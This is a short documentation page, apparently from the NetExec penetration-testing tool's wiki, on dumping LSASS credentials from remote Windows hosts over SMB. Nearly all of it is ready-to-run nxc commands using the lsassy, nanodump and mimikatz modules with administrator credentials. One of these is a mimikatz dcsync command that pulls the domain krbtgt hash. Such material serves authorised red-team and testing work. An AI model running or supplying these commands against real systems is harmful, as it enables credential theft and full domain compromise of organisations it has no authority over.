> For the complete documentation index, see [llms.txt](https://www.netexec.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-lsass.md).

# Dump LSASS

{% hint style="warning" %}
You need at least local admin privilege on the remote target, use option **--local-auth** if your user is a local account
{% endhint %}

### Using Lsassy

Using the module Lsassy from [@pixis ](https://twitter.com/HackAndDo), you can dump the credentials remotely

```bash
nxc smb 192.168.255.131 -u administrator -p pass -M lsassy
```

### Using nanodump

Using the module nanodump you can dump the credentials remotely

```bash
nxc smb 192.168.255.131 -u administrator -p pass -M nanodump
```

### Using Mimikatz (deprecated)

{% hint style="warning" %}
You need at least local admin privilege on the remote target, use option **--local-auth** if your user is a local account
{% endhint %}

Using the Mimikatz module, the powershell script `Invoke-Mimikatz.ps1` will be executed on the remote target

```bash
nxc smb 192.168.255.131 -u administrator -p pass -M mimikatz
```

```bash
nxc smb 192.168.255.131 -u Administrator -p pass -M mimikatz -o COMMAND='"lsadump::dcsync /domain:domain.local /user:krbtgt"
```
